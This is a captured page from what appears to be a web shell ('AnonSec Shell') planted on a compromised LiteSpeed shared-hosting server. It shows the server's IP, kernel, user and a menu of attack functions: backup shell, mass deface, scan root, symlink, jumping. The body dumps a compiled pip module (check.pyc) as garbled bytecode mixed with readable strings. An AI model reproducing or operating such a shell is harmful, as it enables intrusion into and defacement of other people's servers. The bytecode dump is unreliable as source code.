AnonSec Shell
Server IP : 162.213.251.212  /  Your IP : 18.116.8.98   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux business55.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : allssztx ( 535)
PHP Version : 8.1.31
Disable Function : NONE
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/opt/alt/python27/lib/python2.7/site-packages/pip/_internal/operations/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/self/root/opt/alt/python27/lib/python2.7/site-packages/pip/_internal/operations/check.pyc
�
�Rec@s�dZddlZddlmZddlmZddlmZddlm	Z	ddl
mZddlm
Z
eje�Ze
rIdd	lmZdd
lmZmZmZmZmZmZmZeedfZeeefZeeeefZeeeefZeeeefZ eee fZ!eee!fZ"neddd
g�Z#d�Z$dd�Z&d�Z'd�Z(d�Z)dS(s'Validation of dependencies of packages
i����N(t
namedtuple(tcanonicalize_name(tRequirementParseError(t)make_distribution_for_install_requirement(tget_installed_distributions(tMYPY_CHECK_RUNNING(tInstallRequirement(tAnytCallabletDicttOptionaltSettTupletListtPackageDetailstversiontrequirescKs�|ikr#itd6dd6}ni}t}xxt|�D]j}t|j�}y t|j|j��||<Wq<ttfk
r�}t	j
d||�t}q<Xq<W||fS(s8Converts a list of distributions into a PackageSet.
    t
local_onlytskips%Error parsing requirements for %s: %s((tFalseRRtproject_nameRRRtOSErrorRtloggertwarningtTrue(tkwargstpackage_settproblemstdisttnamete((s�/builddir/build/BUILDROOT/alt-python27-pip-20.2.4-5.el8.x86_64/opt/alt/python27/lib/python2.7/site-packages/pip/_internal/operations/check.pyt!create_package_set_from_installed%s cCsIi}i}x0|D](}t�}t�}|rC||�rCqnx�||jD]�}t|j�}||kr�t}	|jdk	r�|jj�}	n|	rQ|j||f�qQqQn||j	}
|j
j|
dt�sQ|j||
|f�qQqQW|rt|dt
�||<n|rt|dt
�||<qqW||fS(s�Check if a package set is consistent

    If should_ignore is passed, it should be a callable that takes a
    package name and returns a boolean.
    tprereleasestkeyN(tsetRRRRtmarkertNonetevaluatetaddRt	specifiertcontainstsortedtstr(Rt
should_ignoretmissingtconflictingtpackage_nametmissing_depstconflicting_depstreqRtmissedR((s�/builddir/build/BUILDROOT/alt-python27-pip-20.2.4-5.el8.x86_64/opt/alt/python27/lib/python2.7/site-packages/pip/_internal/operations/check.pytcheck_package_set:s0
		
csLt�\}}t||�}t||��|t|d�fd��fS(seFor checking if the dependency graph would be consistent after     installing given requirements
    R+cs
|�kS(N((R(t	whitelist(s�/builddir/build/BUILDROOT/alt-python27-pip-20.2.4-5.el8.x86_64/opt/alt/python27/lib/python2.7/site-packages/pip/_internal/operations/check.pyt<lambda>vt(Rt_simulate_installation_oft_create_whitelistR3(t
to_installRt_twould_be_installed((R4s�/builddir/build/BUILDROOT/alt-python27-pip-20.2.4-5.el8.x86_64/opt/alt/python27/lib/python2.7/site-packages/pip/_internal/operations/check.pytcheck_install_conflictsfscCs�t�}xp|D]h}t|�}|j�}|dk	s@t�t|j�}t|j|j	��||<|j
|�qW|S(sBComputes the version of packages after installing to_install.
    N(R"Rtget_pkg_resources_distributionR$tAssertionErrorRR!RRRR&(R9Rt	installedtinst_reqt
abstract_distRR((s�/builddir/build/BUILDROOT/alt-python27-pip-20.2.4-5.el8.x86_64/opt/alt/python27/lib/python2.7/site-packages/pip/_internal/operations/check.pyR7{s	
cCsqt|�}x^|D]V}||kr+qnx;||jD],}t|j�|kr9|j|�Pq9q9WqW|S(N(R"RRRR&(R;Rtpackages_affectedR.R1((s�/builddir/build/BUILDROOT/alt-python27-pip-20.2.4-5.el8.x86_64/opt/alt/python27/lib/python2.7/site-packages/pip/_internal/operations/check.pyR8�s

(*t__doc__tloggingtcollectionsRtpip._vendor.packaging.utilsRtpip._vendor.pkg_resourcesRtpip._internal.distributionsRtpip._internal.utils.miscRtpip._internal.utils.typingRt	getLoggert__name__Rtpip._internal.req.req_installRttypingRRR	R
RRR
R*t
PackageSettMissingtConflictingtMissingDicttConflictingDicttCheckResulttConflictDetailsRRR$R3R<R7R8(((s�/builddir/build/BUILDROOT/alt-python27-pip-20.2.4-5.el8.x86_64/opt/alt/python27/lib/python2.7/site-packages/pip/_internal/operations/check.pyt<module>s04	,		

Anon7 - 2022
AnonSec Team